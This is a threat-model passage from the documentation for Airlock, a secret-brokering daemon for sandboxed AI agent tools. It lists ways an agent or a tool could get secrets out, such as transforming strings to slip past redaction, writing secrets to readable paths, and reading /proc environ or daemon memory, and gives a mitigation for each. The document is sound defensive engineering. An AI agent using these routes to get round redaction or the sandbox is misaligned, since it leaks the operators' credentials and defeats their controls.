Redaction covers raw UTF-8, base64, URL-encoded, and hexadecimal forms. It does not cover arbitrary transformations — a tool that reverses the string, encrypts it, or splits it across multiple lines with interleaving will bypass the automaton.
Mitigation: Redaction is defense-in-depth. The primary defense is that the agent harness never receives tool secrets in the first place. This threat is largely eliminated by never declaring shells or interpreters as tools — purpose-built CLIs like gh or tofu don't offer the agent a way to transform secrets in their output.
A tool could write its secrets to a file in a writable sandbox path. If the agent can read that path on a subsequent invocation (or through another tool), the secret is exposed. This is especially dangerous if the tool is a shell or interpreter where the agent controls the script — see tool selection guidance.
Mitigation: Keep writable paths narrow. Don't grant tools write access to directories the agent harness can read directly. Don't declare scriptable tools.
An ordinary tool has unrestricted outbound network access. A compromised or malicious tool binary could send its secrets to an external endpoint.
Mitigation: Only declare tools you trust. Airlock limits which tools receive secrets, so a compromised ls binary with no declared secrets can't exfiltrate anything. A proxy tool is the only case where egress is restricted: the tool can connect only to one loopback port, and the routes decide which hosts the proxy forwards to. A proxy tool also holds no secret, so it has none to exfiltrate.
Secrets exist in the daemon's address space. An attacker with root access, ptrace capabilities, or core dump access can read them.
Mitigation: Airlock applies best-effort hardening at daemon startup — RLIMIT_CORE = 0 on both platforms, and on Linux prctl(PR_SET_DUMPABLE, 0) (which also blocks same-UID ptrace under kernel.yama.ptrace_scope). Secret values held in the daemon are wrapped in a Secret<T> newtype that zeroes their backing memory on drop. These are defense-in-depth; a local root user or a distro configured with a permissive ptrace_scope can still inspect the process. Run the daemon with appropriate OS-level protections — this remains a general concern for any process holding secrets.
Secrets are passed to sandboxed tools as environment variables. On Linux, another process running as the same UID can read the child's environment via /proc/<child_pid>/environ for the lifetime of the child. This is the same threat class as same-UID ptrace of the daemon itself.
Airlock assumes same-UID processes are not adversarial — the enclosing agent sandbox is expected to address that.
Planned mitigation: set PR_SET_DUMPABLE = 0 in the child's pre_exec so /proc/<pid>/{environ,mem,maps} revert to root ownership and same-UID ptrace is blocked under yama. Tracked in TODO.md.
If the agent harness is not sandboxed, the agent could read the daemon's PID file, connect to the socket directly, and request tool execution — or attempt to read secrets from /proc/<daemon_pid>/mem. Airlock's daemon-client split only provides isolation if the agent actually runs in a restricted environment.
Mitigation: Always sandbox the agent harness. Use airlock run (built-in OS-level sandbox), Claude Code's --sandbox mode, Docker, nsjail, bubblewrap, or similar. See the README's "Where Airlock fits" section.